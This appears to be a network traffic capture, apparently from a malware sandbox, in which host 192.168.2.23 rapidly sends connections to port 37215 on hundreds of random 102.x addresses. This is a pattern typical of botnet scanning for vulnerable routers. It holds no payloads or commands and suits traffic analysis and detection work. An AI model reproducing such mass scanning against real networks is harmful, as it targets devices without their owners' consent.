Feb 20, 2022 16:02:45.944134951 CET	27477	37215	192.168.2.23	102.55.116.53
Feb 20, 2022 16:02:45.944176912 CET	27477	37215	192.168.2.23	102.218.115.177
Feb 20, 2022 16:02:45.944217920 CET	27477	37215	192.168.2.23	102.216.149.62
Feb 20, 2022 16:02:45.944257975 CET	27477	37215	192.168.2.23	102.30.225.113
Feb 20, 2022 16:02:45.944299936 CET	27477	37215	192.168.2.23	102.179.25.34
Feb 20, 2022 16:02:45.944348097 CET	27477	37215	192.168.2.23	102.98.9.111
Feb 20, 2022 16:02:45.944377899 CET	27477	37215	192.168.2.23	102.236.44.205
Feb 20, 2022 16:02:45.944416046 CET	27477	37215	192.168.2.23	102.77.211.205
Feb 20, 2022 16:02:45.944464922 CET	27477	37215	192.168.2.23	102.68.20.107
Feb 20, 2022 16:02:45.944502115 CET	27477	37215	192.168.2.23	102.241.148.147
Feb 20, 2022 16:02:45.944540977 CET	27477	37215	192.168.2.23	102.228.107.27
Feb 20, 2022 16:02:45.944577932 CET	27477	37215	192.168.2.23	102.164.65.15
Feb 20, 2022 16:02:45.944621086 CET	27477	37215	192.168.2.23	102.194.78.48
Feb 20, 2022 16:02:45.944673061 CET	27477	37215	192.168.2.23	102.176.1.73
Feb 20, 2022 16:02:45.944696903 CET	27477	37215	192.168.2.23	102.123.60.113
Feb 20, 2022 16:02:45.944744110 CET	27477	37215	192.168.2.23	102.214.165.66
Feb 20, 2022 16:02:45.944777012 CET	27477	37215	192.168.2.23	102.162.46.213
Feb 20, 2022 16:02:45.944819927 CET	27477	37215	192.168.2.23	102.28.13.153
Feb 20, 2022 16:02:45.944858074 CET	27477	37215	192.168.2.23	102.227.161.141
Feb 20, 2022 16:02:45.944909096 CET	27477	37215	192.168.2.23	102.77.209.4
Feb 20, 2022 16:02:45.944936991 CET	27477	37215	192.168.2.23	102.156.19.124
Feb 20, 2022 16:02:45.944977045 CET	27477	37215	192.168.2.23	102.4.36.71
Feb 20, 2022 16:02:45.945019960 CET	27477	37215	192.168.2.23	102.104.174.3
Feb 20, 2022 16:02:45.945051908 CET	27477	37215	192.168.2.23	102.141.3.20
Feb 20, 2022 16:02:45.945097923 CET	27477	37215	192.168.2.23	102.12.116.72
Feb 20, 2022 16:02:45.945137978 CET	27477	37215	192.168.2.23	102.93.27.54
Feb 20, 2022 16:02:45.945168972 CET	27477	37215	192.168.2.23	102.215.10.137
Feb 20, 2022 16:02:45.945211887 CET	27477	37215	192.168.2.23	102.114.116.188
Feb 20, 2022 16:02:45.945260048 CET	27477	37215	192.168.2.23	102.190.225.187
Feb 20, 2022 16:02:45.945297956 CET	27477	37215	192.168.2.23	102.153.205.149
Feb 20, 2022 16:02:45.945328951 CET	27477	37215	192.168.2.23	102.210.222.20
Feb 20, 2022 16:02:45.945372105 CET	27477	37215	192.168.2.23	102.17.159.246
Feb 20, 2022 16:02:45.945405006 CET	27477	37215	192.168.2.23	102.93.236.119
Feb 20, 2022 16:02:45.945444107 CET	27477	37215	192.168.2.23	102.98.38.117
Feb 20, 2022 16:02:45.945487022 CET	27477	37215	192.168.2.23	102.236.255.238
Feb 20, 2022 16:02:45.945540905 CET	27477	37215	192.168.2.23	102.41.171.22
Feb 20, 2022 16:02:45.945580006 CET	27477	37215	192.168.2.23	102.112.84.167
Feb 20, 2022 16:02:45.945606947 CET	27477	37215	192.168.2.23	102.125.211.106
Feb 20, 2022 16:02:45.945647001 CET	27477	37215	192.168.2.23	102.44.214.47
Feb 20, 2022 16:02:45.945683956 CET	27477	37215	192.168.2.23	102.13.39.26
Feb 20, 2022 16:02:45.945728064 CET	27477	37215	192.168.2.23	102.252.126.144
Feb 20, 2022 16:02:45.945779085 CET	27477	37215	192.168.2.23	102.179.207.37
Feb 20, 2022 16:02:45.945811987 CET	27477	37215	192.168.2.23	102.242.34.245
Feb 20, 2022 16:02:45.945858002 CET	27477	37215	192.168.2.23	102.9.208.180
Feb 20, 2022 16:02:45.945895910 CET	27477	37215	192.168.2.23	102.1.64.45
Feb 20, 2022 16:02:45.945935011 CET	27477	37215	192.168.2.23	102.71.97.49
Feb 20, 2022 16:02:45.945981979 CET	27477	37215	192.168.2.23	102.51.25.109
Feb 20, 2022 16:02:45.946010113 CET	27477	37215	192.168.2.23	102.22.104.37
Feb 20, 2022 16:02:45.946057081 CET	27477	37215	192.168.2.23	102.109.2.17
Feb 20, 2022 16:02:45.946085930 CET	27477	37215	192.168.2.23	102.192.167.61
Feb 20, 2022 16:02:45.946130037 CET	27477	37215	192.168.2.23	102.200.239.176
Feb 20, 2022 16:02:45.946168900 CET	27477	37215	192.168.2.23	102.13.49.23
Feb 20, 2022 16:02:45.946208000 CET	27477	37215	192.168.2.23	102.15.82.94
Feb 20, 2022 16:02:45.946244955 CET	27477	37215	192.168.2.23	102.117.60.104
Feb 20, 2022 16:02:45.946286917 CET	27477	37215	192.168.2.23	102.161.246.178
Feb 20, 2022 16:02:45.946333885 CET	27477	37215	192.168.2.23	102.247.74.6
Feb 20, 2022 16:02:45.946369886 CET	27477	37215	192.168.2.23	102.45.21.220
Feb 20, 2022 16:02:45.946412086 CET	27477	37215	192.168.2.23	102.185.56.169
Feb 20, 2022 16:02:45.946455002 CET	27477	37215	192.168.2.23	102.214.106.103
Feb 20, 2022 16:02:45.946505070 CET	27477	37215	192.168.2.23	102.157.87.47
Feb 20, 2022 16:02:45.946540117 CET	27477	37215	192.168.2.23	102.95.187.27
Feb 20, 2022 16:02:45.946577072 CET	27477	37215	192.168.2.23	102.162.167.184
Feb 20, 2022 16:02:45.946615934 CET	27477	37215	192.168.2.23	102.217.233.241
Feb 20, 2022 16:02:45.946676016 CET	27477	37215	192.168.2.23	102.184.8.56
Feb 20, 2022 16:02:45.946712017 CET	27477	37215	192.168.2.23	102.123.9.253
Feb 20, 2022 16:02:45.946748972 CET	27477	37215	192.168.2.23	102.79.62.217
Feb 20, 2022 16:02:45.946799040 CET	27477	37215	192.168.2.23	102.205.236.190
Feb 20, 2022 16:02:45.946826935 CET	27477	37215	192.168.2.23	102.107.174.105
Feb 20, 2022 16:02:45.946868896 CET	27477	37215	192.168.2.23	102.149.217.209
Feb 20, 2022 16:02:45.946911097 CET	27477	37215	192.168.2.23	102.78.127.158
Feb 20, 2022 16:02:45.946963072 CET	27477	37215	192.168.2.23	102.202.94.159
Feb 20, 2022 16:02:45.947000980 CET	27477	37215	192.168.2.23	102.29.163.243
Feb 20, 2022 16:02:45.947051048 CET	27477	37215	192.168.2.23	102.146.83.162
Feb 20, 2022 16:02:45.947088003 CET	27477	37215	192.168.2.23	102.183.219.190
Feb 20, 2022 16:02:45.947119951 CET	27477	37215	192.168.2.23	102.184.134.220
Feb 20, 2022 16:02:45.947160959 CET	27477	37215	192.168.2.23	102.60.170.41
Feb 20, 2022 16:02:45.947210073 CET	27477	37215	192.168.2.23	102.26.45.234
Feb 20, 2022 16:02:45.947242975 CET	27477	37215	192.168.2.23	102.35.103.151
Feb 20, 2022 16:02:45.947279930 CET	27477	37215	192.168.2.23	102.199.40.0
Feb 20, 2022 16:02:45.947333097 CET	27477	37215	192.168.2.23	102.79.175.220
Feb 20, 2022 16:02:45.947360039 CET	27477	37215	192.168.2.23	102.219.23.128
Feb 20, 2022 16:02:45.947403908 CET	27477	37215	192.168.2.23	102.148.113.139
Feb 20, 2022 16:02:45.947452068 CET	27477	37215	192.168.2.23	102.34.47.77
Feb 20, 2022 16:02:45.947489977 CET	27477	37215	192.168.2.23	102.117.91.78
Feb 20, 2022 16:02:45.947526932 CET	27477	37215	192.168.2.23	102.68.137.231
Feb 20, 2022 16:02:45.947587967 CET	27477	37215	192.168.2.23	102.161.143.100
Feb 20, 2022 16:02:45.947619915 CET	27477	37215	192.168.2.23	102.33.146.54
Feb 20, 2022 16:02:45.947652102 CET	27477	37215	192.168.2.23	102.69.215.152
Feb 20, 2022 16:02:45.947662115 CET	37215	27221	102.24.86.225	192.168.2.23
Feb 20, 2022 16:02:45.947689056 CET	27477	37215	192.168.2.23	102.193.40.40
Feb 20, 2022 16:02:45.947705984 CET	27221	37215	192.168.2.23	102.24.86.225
Feb 20, 2022 16:02:45.947732925 CET	27477	37215	192.168.2.23	102.186.170.254
Feb 20, 2022 16:02:45.947776079 CET	27477	37215	192.168.2.23	102.77.203.158
Feb 20, 2022 16:02:45.947813034 CET	27477	37215	192.168.2.23	102.126.87.68
Feb 20, 2022 16:02:45.947850943 CET	27477	37215	192.168.2.23	102.152.62.103
Feb 20, 2022 16:02:45.947887897 CET	27477	37215	192.168.2.23	102.15.32.120
Feb 20, 2022 16:02:45.947931051 CET	27477	37215	192.168.2.23	102.64.109.189
Feb 20, 2022 16:02:45.947968960 CET	27477	37215	192.168.2.23	102.60.128.165
Feb 20, 2022 16:02:45.948015928 CET	27477	37215	192.168.2.23	102.192.15.112
Feb 20, 2022 16:02:45.948045015 CET	27477	37215	192.168.2.23	102.63.48.63
Feb 20, 2022 16:02:45.948086023 CET	27477	37215	192.168.2.23	102.240.129.9
Feb 20, 2022 16:02:45.948128939 CET	27477	37215	192.168.2.23	102.10.249.147
Feb 20, 2022 16:02:45.948153019 CET	37215	27221	102.24.86.225	192.168.2.23
Feb 20, 2022 16:02:45.948175907 CET	27477	37215	192.168.2.23	102.10.193.164
Feb 20, 2022 16:02:45.948214054 CET	27477	37215	192.168.2.23	102.95.234.146
Feb 20, 2022 16:02:45.948256969 CET	27477	37215	192.168.2.23	102.240.57.153
Feb 20, 2022 16:02:45.948298931 CET	27477	37215	192.168.2.23	102.27.148.108
Feb 20, 2022 16:02:45.948352098 CET	27477	37215	192.168.2.23	102.53.132.29
Feb 20, 2022 16:02:45.948389053 CET	27477	37215	192.168.2.23	102.254.130.99
Feb 20, 2022 16:02:45.948431015 CET	27477	37215	192.168.2.23	102.186.69.74
Feb 20, 2022 16:02:45.948465109 CET	27477	37215	192.168.2.23	102.136.156.172
Feb 20, 2022 16:02:45.948506117 CET	27477	37215	192.168.2.23	102.193.15.2
Feb 20, 2022 16:02:45.948548079 CET	27477	37215	192.168.2.23	102.146.182.86
Feb 20, 2022 16:02:45.948590994 CET	27477	37215	192.168.2.23	102.120.42.186
Feb 20, 2022 16:02:45.948628902 CET	27477	37215	192.168.2.23	102.121.46.73
Feb 20, 2022 16:02:45.948681116 CET	27477	37215	192.168.2.23	102.77.199.219
Feb 20, 2022 16:02:45.948709965 CET	27477	37215	192.168.2.23	102.115.11.47
Feb 20, 2022 16:02:45.948751926 CET	27477	37215	192.168.2.23	102.94.92.195
Feb 20, 2022 16:02:45.948801041 CET	27477	37215	192.168.2.23	102.210.112.51
Feb 20, 2022 16:02:45.948833942 CET	27477	37215	192.168.2.23	102.49.24.176
Feb 20, 2022 16:02:45.948867083 CET	27477	37215	192.168.2.23	102.89.48.207
Feb 20, 2022 16:02:45.948904991 CET	27477	37215	192.168.2.23	102.112.48.161
Feb 20, 2022 16:02:45.948952913 CET	27477	37215	192.168.2.23	102.48.21.131
Feb 20, 2022 16:02:45.948986053 CET	27477	37215	192.168.2.23	102.244.145.235
Feb 20, 2022 16:02:45.949031115 CET	27477	37215	192.168.2.23	102.112.0.55
Feb 20, 2022 16:02:45.949065924 CET	27477	37215	192.168.2.23	102.68.44.172
Feb 20, 2022 16:02:45.949105978 CET	27477	37215	192.168.2.23	102.97.176.87
Feb 20, 2022 16:02:45.949146032 CET	27477	37215	192.168.2.23	102.219.200.145
Feb 20, 2022 16:02:45.949183941 CET	27477	37215	192.168.2.23	102.204.207.53
Feb 20, 2022 16:02:45.949224949 CET	27477	37215	192.168.2.23	102.87.12.199
Feb 20, 2022 16:02:45.949263096 CET	27477	37215	192.168.2.23	102.73.184.95
Feb 20, 2022 16:02:45.949306965 CET	27477	37215	192.168.2.23	102.44.216.138
Feb 20, 2022 16:02:45.949351072 CET	27477	37215	192.168.2.23	102.153.94.254
Feb 20, 2022 16:02:45.949388981 CET	27477	37215	192.168.2.23	102.9.80.250
Feb 20, 2022 16:02:45.949431896 CET	27477	37215	192.168.2.23	102.12.228.25
Feb 20, 2022 16:02:45.949470043 CET	27477	37215	192.168.2.23	102.179.208.197
Feb 20, 2022 16:02:45.949515104 CET	27477	37215	192.168.2.23	102.216.201.16
Feb 20, 2022 16:02:45.949558020 CET	27477	37215	192.168.2.23	102.103.118.107
Feb 20, 2022 16:02:45.949590921 CET	27477	37215	192.168.2.23	102.48.55.177
Feb 20, 2022 16:02:45.949629068 CET	27477	37215	192.168.2.23	102.243.206.142
Feb 20, 2022 16:02:45.949671984 CET	27477	37215	192.168.2.23	102.189.24.103
Feb 20, 2022 16:02:45.949722052 CET	27477	37215	192.168.2.23	102.78.58.39
Feb 20, 2022 16:02:45.949754953 CET	27477	37215	192.168.2.23	102.4.167.208
Feb 20, 2022 16:02:45.949805975 CET	27477	37215	192.168.2.23	102.211.253.101
Feb 20, 2022 16:02:45.949842930 CET	27477	37215	192.168.2.23	102.243.0.120
Feb 20, 2022 16:02:45.949878931 CET	27477	37215	192.168.2.23	102.196.128.121
Feb 20, 2022 16:02:45.949920893 CET	27477	37215	192.168.2.23	102.225.51.235
Feb 20, 2022 16:02:45.949954987 CET	27477	37215	192.168.2.23	102.59.103.45
Feb 20, 2022 16:02:45.949999094 CET	27477	37215	192.168.2.23	102.58.79.115
Feb 20, 2022 16:02:45.950035095 CET	27477	37215	192.168.2.23	102.108.160.238
Feb 20, 2022 16:02:45.950078011 CET	27477	37215	192.168.2.23	102.38.181.227
Feb 20, 2022 16:02:45.950119972 CET	27477	37215	192.168.2.23	102.10.13.168
Feb 20, 2022 16:02:45.950153112 CET	27477	37215	192.168.2.23	102.20.255.17
Feb 20, 2022 16:02:45.950193882 CET	27477	37215	192.168.2.23	102.217.52.187
Feb 20, 2022 16:02:45.950238943 CET	27477	37215	192.168.2.23	102.222.142.181
Feb 20, 2022 16:02:45.950269938 CET	27477	37215	192.168.2.23	102.24.186.161
Feb 20, 2022 16:02:45.950308084 CET	27477	37215	192.168.2.23	102.125.147.230
Feb 20, 2022 16:02:45.950345993 CET	27477	37215	192.168.2.23	102.140.180.222
Feb 20, 2022 16:02:45.950387955 CET	27477	37215	192.168.2.23	102.122.196.238
Feb 20, 2022 16:02:45.950426102 CET	27477	37215	192.168.2.23	102.241.90.254
Feb 20, 2022 16:02:45.950479984 CET	27477	37215	192.168.2.23	102.125.241.181
Feb 20, 2022 16:02:45.950509071 CET	27477	37215	192.168.2.23	102.99.23.145
Feb 20, 2022 16:02:45.950550079 CET	27477	37215	192.168.2.23	102.49.131.137
Feb 20, 2022 16:02:45.950587034 CET	27477	37215	192.168.2.23	102.62.47.101
Feb 20, 2022 16:02:45.950625896 CET	27477	37215	192.168.2.23	102.160.25.101
Feb 20, 2022 16:02:45.950673103 CET	27477	37215	192.168.2.23	102.205.145.118
Feb 20, 2022 16:02:45.950701952 CET	27477	37215	192.168.2.23	102.96.103.29
Feb 20, 2022 16:02:45.950741053 CET	27477	37215	192.168.2.23	102.151.68.26
Feb 20, 2022 16:02:45.950778008 CET	27477	37215	192.168.2.23	102.5.40.27
Feb 20, 2022 16:02:45.950815916 CET	27477	37215	192.168.2.23	102.92.156.239
Feb 20, 2022 16:02:45.950867891 CET	27477	37215	192.168.2.23	102.122.181.198
Feb 20, 2022 16:02:45.950905085 CET	27477	37215	192.168.2.23	102.144.23.219
Feb 20, 2022 16:02:45.950949907 CET	27477	37215	192.168.2.23	102.132.58.105
Feb 20, 2022 16:02:45.950992107 CET	27477	37215	192.168.2.23	102.169.155.195
Feb 20, 2022 16:02:45.951028109 CET	27477	37215	192.168.2.23	102.138.65.215
Feb 20, 2022 16:02:45.951071978 CET	27477	37215	192.168.2.23	102.53.78.3
Feb 20, 2022 16:02:45.951103926 CET	27477	37215	192.168.2.23	102.111.54.185
Feb 20, 2022 16:02:45.951169968 CET	27477	37215	192.168.2.23	102.251.70.236
Feb 20, 2022 16:02:45.951209068 CET	27477	37215	192.168.2.23	102.187.125.120
Feb 20, 2022 16:02:45.951241016 CET	27477	37215	192.168.2.23	102.171.122.150
Feb 20, 2022 16:02:45.951276064 CET	27477	37215	192.168.2.23	102.239.108.188
Feb 20, 2022 16:02:45.951313972 CET	27477	37215	192.168.2.23	102.103.187.121
Feb 20, 2022 16:02:45.951359034 CET	27477	37215	192.168.2.23	102.0.2.101
Feb 20, 2022 16:02:45.951399088 CET	27477	37215	192.168.2.23	102.10.91.37
Feb 20, 2022 16:02:45.951443911 CET	27477	37215	192.168.2.23	102.204.145.175
Feb 20, 2022 16:02:45.951483011 CET	27477	37215	192.168.2.23	102.196.121.49
Feb 20, 2022 16:02:45.951522112 CET	27477	37215	192.168.2.23	102.132.137.229
Feb 20, 2022 16:02:45.951558113 CET	27477	37215	192.168.2.23	102.98.118.170
Feb 20, 2022 16:02:45.951606989 CET	27477	37215	192.168.2.23	102.136.108.6
Feb 20, 2022 16:02:45.951653004 CET	27477	37215	192.168.2.23	102.239.122.202
Feb 20, 2022 16:02:45.951683998 CET	27477	37215	192.168.2.23	102.119.209.80
Feb 20, 2022 16:02:45.951721907 CET	27477	37215	192.168.2.23	102.249.255.161
Feb 20, 2022 16:02:45.951766968 CET	27477	37215	192.168.2.23	102.210.176.166
Feb 20, 2022 16:02:45.951806068 CET	27477	37215	192.168.2.23	102.95.94.112
Feb 20, 2022 16:02:45.951843023 CET	27477	37215	192.168.2.23	102.231.233.27
Feb 20, 2022 16:02:45.951885939 CET	27477	37215	192.168.2.23	102.246.73.11
Feb 20, 2022 16:02:45.951926947 CET	27477	37215	192.168.2.23	102.199.67.51
Feb 20, 2022 16:02:45.951971054 CET	27477	37215	192.168.2.23	102.248.1.170
Feb 20, 2022 16:02:45.952017069 CET	27477	37215	192.168.2.23	102.76.105.254
Feb 20, 2022 16:02:45.952049971 CET	27477	37215	192.168.2.23	102.97.41.72
Feb 20, 2022 16:02:45.952089071 CET	27477	37215	192.168.2.23	102.148.146.229
Feb 20, 2022 16:02:45.952130079 CET	27477	37215	192.168.2.23	102.79.16.64
Feb 20, 2022 16:02:45.952167034 CET	27477	37215	192.168.2.23	102.166.72.51
Feb 20, 2022 16:02:45.952212095 CET	27477	37215	192.168.2.23	102.168.59.36
Feb 20, 2022 16:02:45.952246904 CET	27477	37215	192.168.2.23	102.153.34.73
Feb 20, 2022 16:02:45.952296972 CET	27477	37215	192.168.2.23	102.0.135.235
Feb 20, 2022 16:02:45.952326059 CET	27477	37215	192.168.2.23	102.6.195.227
Feb 20, 2022 16:02:45.952375889 CET	27477	37215	192.168.2.23	102.144.161.1
Feb 20, 2022 16:02:45.952405930 CET	27477	37215	192.168.2.23	102.224.82.221
Feb 20, 2022 16:02:45.952455044 CET	27477	37215	192.168.2.23	102.38.91.176
Feb 20, 2022 16:02:45.952491045 CET	27477	37215	192.168.2.23	102.30.97.53
Feb 20, 2022 16:02:45.952519894 CET	27477	37215	192.168.2.23	102.122.20.114
Feb 20, 2022 16:02:45.952562094 CET	27477	37215	192.168.2.23	102.100.43.192
Feb 20, 2022 16:02:45.952608109 CET	27477	37215	192.168.2.23	102.99.160.183
Feb 20, 2022 16:02:45.952640057 CET	27477	37215	192.168.2.23	102.162.144.254
Feb 20, 2022 16:02:45.952677965 CET	27477	37215	192.168.2.23	102.198.236.173
Feb 20, 2022 16:02:45.952723980 CET	27477	37215	192.168.2.23	102.32.122.146
Feb 20, 2022 16:02:45.952758074 CET	27477	37215	192.168.2.23	102.220.230.81
Feb 20, 2022 16:02:45.952800035 CET	27477	37215	192.168.2.23	102.125.131.230
Feb 20, 2022 16:02:45.952831984 CET	27477	37215	192.168.2.23	102.238.171.150
Feb 20, 2022 16:02:45.952876091 CET	27477	37215	192.168.2.23	102.68.239.0
Feb 20, 2022 16:02:45.952908039 CET	27477	37215	192.168.2.23	102.195.192.80
Feb 20, 2022 16:02:45.952944994 CET	27477	37215	192.168.2.23	102.155.149.2
Feb 20, 2022 16:02:45.952992916 CET	27477	37215	192.168.2.23	102.18.41.112
Feb 20, 2022 16:02:45.953033924 CET	27477	37215	192.168.2.23	102.33.40.137
Feb 20, 2022 16:02:45.953073025 CET	27477	37215	192.168.2.23	102.231.120.187
Feb 20, 2022 16:02:45.953105927 CET	27477	37215	192.168.2.23	102.74.120.27
Feb 20, 2022 16:02:45.953146935 CET	27477	37215	192.168.2.23	102.226.87.6
Feb 20, 2022 16:02:45.953188896 CET	27477	37215	192.168.2.23	102.123.173.172
Feb 20, 2022 16:02:45.953221083 CET	27477	37215	192.168.2.23	102.210.13.25
Feb 20, 2022 16:02:45.953262091 CET	27477	37215	192.168.2.23	102.23.137.110
Feb 20, 2022 16:02:45.953305006 CET	27477	37215	192.168.2.23	102.9.244.27
Feb 20, 2022 16:02:45.953346968 CET	27477	37215	192.168.2.23	102.160.139.120
Feb 20, 2022 16:02:45.953388929 CET	27477	37215	192.168.2.23	102.156.86.64
Feb 20, 2022 16:02:45.953433990 CET	27477	37215	192.168.2.23	102.220.48.252
Feb 20, 2022 16:02:45.953468084 CET	27477	37215	192.168.2.23	102.10.34.68
Feb 20, 2022 16:02:45.953510046 CET	27477	37215	192.168.2.23	102.182.220.43
Feb 20, 2022 16:02:45.953556061 CET	27477	37215	192.168.2.23	102.140.223.248
Feb 20, 2022 16:02:45.953592062 CET	27477	37215	192.168.2.23	102.143.168.198
Feb 20, 2022 16:02:45.953629971 CET	27477	37215	192.168.2.23	102.55.133.154
Feb 20, 2022 16:02:45.953672886 CET	27477	37215	192.168.2.23	102.57.34.91
Feb 20, 2022 16:02:45.953713894 CET	27477	37215	192.168.2.23	102.203.134.184
Feb 20, 2022 16:02:45.953747988 CET	27477	37215	192.168.2.23	102.216.225.139
Feb 20, 2022 16:02:45.953784943 CET	27477	37215	192.168.2.23	102.175.182.89
Feb 20, 2022 16:02:45.953828096 CET	27477	37215	192.168.2.23	102.39.2.63
Feb 20, 2022 16:02:45.953865051 CET	27477	37215	192.168.2.23	102.187.165.47
Feb 20, 2022 16:02:45.953902960 CET	27477	37215	192.168.2.23	102.229.23.156
Feb 20, 2022 16:02:45.953947067 CET	27477	37215	192.168.2.23	102.150.68.98
Feb 20, 2022 16:02:45.953984022 CET	27477	37215	192.168.2.23	102.201.133.218
Feb 20, 2022 16:02:45.954029083 CET	27477	37215	192.168.2.23	102.230.19.30
Feb 20, 2022 16:02:45.954066992 CET	27477	37215	192.168.2.23	102.157.100.225
Feb 20, 2022 16:02:45.954099894 CET	27477	37215	192.168.2.23	102.7.79.35
Feb 20, 2022 16:02:45.954138041 CET	27477	37215	192.168.2.23	102.31.57.4
Feb 20, 2022 16:02:45.954175949 CET	27477	37215	192.168.2.23	102.36.193.151
Feb 20, 2022 16:02:45.954225063 CET	27477	37215	192.168.2.23	102.128.200.35
Feb 20, 2022 16:02:45.954262018 CET	27477	37215	192.168.2.23	102.121.16.47
Feb 20, 2022 16:02:45.954298973 CET	27477	37215	192.168.2.23	102.161.96.164
Feb 20, 2022 16:02:45.954328060 CET	27477	37215	192.168.2.23	102.241.103.241
Feb 20, 2022 16:02:45.954369068 CET	27477	37215	192.168.2.23	102.127.18.197
Feb 20, 2022 16:02:45.954410076 CET	27477	37215	192.168.2.23	102.50.185.201
Feb 20, 2022 16:02:45.954447985 CET	27477	37215	192.168.2.23	102.226.118.20
Feb 20, 2022 16:02:45.954485893 CET	27477	37215	192.168.2.23	102.0.161.247
Feb 20, 2022 16:02:45.954526901 CET	27477	37215	192.168.2.23	102.216.6.103
Feb 20, 2022 16:02:45.954579115 CET	27477	37215	192.168.2.23	102.193.137.58
Feb 20, 2022 16:02:45.954612017 CET	27477	37215	192.168.2.23	102.160.224.165
Feb 20, 2022 16:02:45.954653978 CET	27477	37215	192.168.2.23	102.99.185.153
Feb 20, 2022 16:02:45.954705954 CET	27477	37215	192.168.2.23	102.97.133.94
Feb 20, 2022 16:02:45.954734087 CET	27477	37215	192.168.2.23	102.119.69.132
Feb 20, 2022 16:02:45.954775095 CET	27477	37215	192.168.2.23	102.81.92.62
Feb 20, 2022 16:02:45.954823017 CET	27477	37215	192.168.2.23	102.3.102.234
Feb 20, 2022 16:02:45.954859972 CET	27477	37215	192.168.2.23	102.132.132.79
Feb 20, 2022 16:02:45.954893112 CET	27477	37215	192.168.2.23	102.249.187.91
Feb 20, 2022 16:02:45.954936028 CET	27477	37215	192.168.2.23	102.240.210.242
Feb 20, 2022 16:02:45.954972029 CET	27477	37215	192.168.2.23	102.106.166.62
Feb 20, 2022 16:02:45.955009937 CET	27477	37215	192.168.2.23	102.26.230.11
Feb 20, 2022 16:02:45.955061913 CET	27477	37215	192.168.2.23	102.34.196.18
Feb 20, 2022 16:02:45.955099106 CET	27477	37215	192.168.2.23	102.188.82.249
Feb 20, 2022 16:02:45.955131054 CET	27477	37215	192.168.2.23	102.122.4.2
Feb 20, 2022 16:02:45.955168962 CET	27477	37215	192.168.2.23	102.114.249.76
Feb 20, 2022 16:02:45.955219984 CET	27477	37215	192.168.2.23	102.47.210.127
Feb 20, 2022 16:02:45.955248117 CET	27477	37215	192.168.2.23	102.73.133.199
Feb 20, 2022 16:02:45.955290079 CET	27477	37215	192.168.2.23	102.232.81.107
Feb 20, 2022 16:02:45.955343008 CET	27477	37215	192.168.2.23	102.67.211.170
Feb 20, 2022 16:02:45.955374002 CET	27477	37215	192.168.2.23	102.96.49.83
Feb 20, 2022 16:02:45.955413103 CET	27477	37215	192.168.2.23	102.15.93.191
Feb 20, 2022 16:02:45.955455065 CET	27477	37215	192.168.2.23	102.209.155.218
Feb 20, 2022 16:02:45.955487967 CET	27477	37215	192.168.2.23	102.248.193.31
Feb 20, 2022 16:02:45.955530882 CET	27477	37215	192.168.2.23	102.170.115.140
Feb 20, 2022 16:02:45.955575943 CET	27477	37215	192.168.2.23	102.47.31.84
Feb 20, 2022 16:02:45.955619097 CET	27477	37215	192.168.2.23	102.191.44.217
Feb 20, 2022 16:02:45.955651999 CET	27477	37215	192.168.2.23	102.29.41.65
Feb 20, 2022 16:02:45.955689907 CET	27477	37215	192.168.2.23	102.87.155.230
Feb 20, 2022 16:02:45.955741882 CET	27477	37215	192.168.2.23	102.230.195.28
Feb 20, 2022 16:02:45.955769062 CET	27477	37215	192.168.2.23	102.235.147.241
Feb 20, 2022 16:02:45.955820084 CET	27477	37215	192.168.2.23	102.242.97.173
Feb 20, 2022 16:02:45.955852985 CET	27477	37215	192.168.2.23	102.204.86.108
Feb 20, 2022 16:02:45.955894947 CET	27477	37215	192.168.2.23	102.135.100.241
Feb 20, 2022 16:02:45.955940962 CET	27477	37215	192.168.2.23	102.190.131.180
Feb 20, 2022 16:02:45.955971003 CET	27477	37215	192.168.2.23	102.32.38.187
Feb 20, 2022 16:02:45.956016064 CET	27477	37215	192.168.2.23	102.188.143.51
Feb 20, 2022 16:02:45.956049919 CET	27477	37215	192.168.2.23	102.212.239.191
Feb 20, 2022 16:02:45.956089020 CET	27477	37215	192.168.2.23	102.179.125.242
Feb 20, 2022 16:02:45.956134081 CET	27477	37215	192.168.2.23	102.74.255.12
Feb 20, 2022 16:02:45.956163883 CET	27477	37215	192.168.2.23	102.19.191.98
Feb 20, 2022 16:02:45.956202984 CET	27477	37215	192.168.2.23	102.208.151.211
Feb 20, 2022 16:02:45.956243992 CET	27477	37215	192.168.2.23	102.71.40.48
Feb 20, 2022 16:02:45.956285954 CET	27477	37215	192.168.2.23	102.68.7.47
Feb 20, 2022 16:02:45.956329107 CET	27477	37215	192.168.2.23	102.252.195.122
Feb 20, 2022 16:02:45.956370115 CET	27477	37215	192.168.2.23	102.235.254.242
Feb 20, 2022 16:02:45.956422091 CET	27477	37215	192.168.2.23	102.229.78.130
Feb 20, 2022 16:02:45.956449986 CET	27477	37215	192.168.2.23	102.136.71.33
Feb 20, 2022 16:02:45.956489086 CET	27477	37215	192.168.2.23	102.252.10.103
Feb 20, 2022 16:02:45.956526995 CET	27477	37215	192.168.2.23	102.252.253.97
Feb 20, 2022 16:02:45.956563950 CET	27477	37215	192.168.2.23	102.201.202.9
Feb 20, 2022 16:02:45.956605911 CET	27477	37215	192.168.2.23	102.219.217.224
Feb 20, 2022 16:02:45.956645012 CET	27477	37215	192.168.2.23	102.101.45.28
Feb 20, 2022 16:02:45.956687927 CET	27477	37215	192.168.2.23	102.231.142.62
Feb 20, 2022 16:02:45.956729889 CET	27477	37215	192.168.2.23	102.206.123.129
Feb 20, 2022 16:02:45.956768036 CET	27477	37215	192.168.2.23	102.168.130.253
Feb 20, 2022 16:02:45.956809044 CET	27477	37215	192.168.2.23	102.114.161.13
Feb 20, 2022 16:02:45.956861019 CET	27477	37215	192.168.2.23	102.174.86.170
Feb 20, 2022 16:02:45.956892014 CET	27477	37215	192.168.2.23	102.235.199.110
Feb 20, 2022 16:02:45.956934929 CET	27477	37215	192.168.2.23	102.137.193.196
Feb 20, 2022 16:02:45.956980944 CET	27477	37215	192.168.2.23	102.204.121.74
Feb 20, 2022 16:02:45.957010031 CET	27477	37215	192.168.2.23	102.116.77.158
Feb 20, 2022 16:02:45.957048893 CET	27477	37215	192.168.2.23	102.174.29.159
Feb 20, 2022 16:02:45.957097054 CET	27477	37215	192.168.2.23	102.233.78.71
Feb 20, 2022 16:02:45.957134008 CET	27477	37215	192.168.2.23	102.246.76.47
Feb 20, 2022 16:02:45.957171917 CET	27477	37215	192.168.2.23	102.214.28.32
Feb 20, 2022 16:02:45.957211018 CET	27477	37215	192.168.2.23	102.83.15.134
Feb 20, 2022 16:02:45.957252979 CET	27477	37215	192.168.2.23	102.179.145.61
Feb 20, 2022 16:02:45.957288980 CET	27477	37215	192.168.2.23	102.137.20.219
Feb 20, 2022 16:02:45.957331896 CET	27477	37215	192.168.2.23	102.205.6.100
